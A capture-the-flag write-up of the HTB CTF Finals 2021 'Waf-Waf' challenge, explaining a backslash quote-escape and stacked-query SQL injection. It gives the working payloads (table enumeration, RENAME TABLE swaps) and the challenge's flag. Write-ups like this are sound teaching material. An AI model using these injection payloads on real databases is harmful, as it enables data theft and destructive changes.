HTBCTF Finals 2021: Waf-Waf Write-up
Table of Contents
tl;dr
- Rename table and exploit SQL Injection to get the flag.
#
Challenge Description
Who let the blacklists out?
#
Source Code
| |
#
Analysis
- Parameters
userandpassare directly fed into the query and might cause SQL Injection. - The filters applied for the parameters are not strong enough.
- Multiple queries can be executed at a time since
multi_queryfunction is used. - Inserting single quotes are not allowed.
#
Solution
Inserting
\as value foruserparameter causes a part of the query to be treated as a string, and thepassparameter can be used for SQL Injection. The query becomes1SELECT * FROM `users` WHERE `username` = 'secure\' AND `password` = '; <SQL Injection here> -- -'Notice that the users table is empty. So the flag must be in some other table.
?user=secure\&pass=or 1;Tables could be listed out with
?user=\&pass=; show tables;-- -.1{"Tables_in_security":"definitely_not_a_flag"}A table
definitely_not_a_flagexists in the database.Enumerating the columns of
definitely_not_a_flagtable.1{"Field":"flag","Type":"varchar(80)","Null":"NO","Key":"","Default":null,"Extra":""}There is also a username column in this table which can be seen after droping the column.
Exploit: We rename
userstable tobackup_tableanddefinitely_not_a_flagtousers. So, when the select query is executed next time, we can get data fromdefinitely_not_a_flagtable.`?user=\&pass=; RENAME TABLE users TO backup_table, definitely_not_a_flag TO users;-- -`1{"flag":"HTB{wh0_l3t_th3_w4fs_0ut?!..w00f..w00f.w00f!}","username":""}
#
Solver Script
| |
#
Flag
HTB{wh0_l3t_th3_w4fs_0ut?!..w00f..w00f.w00f!}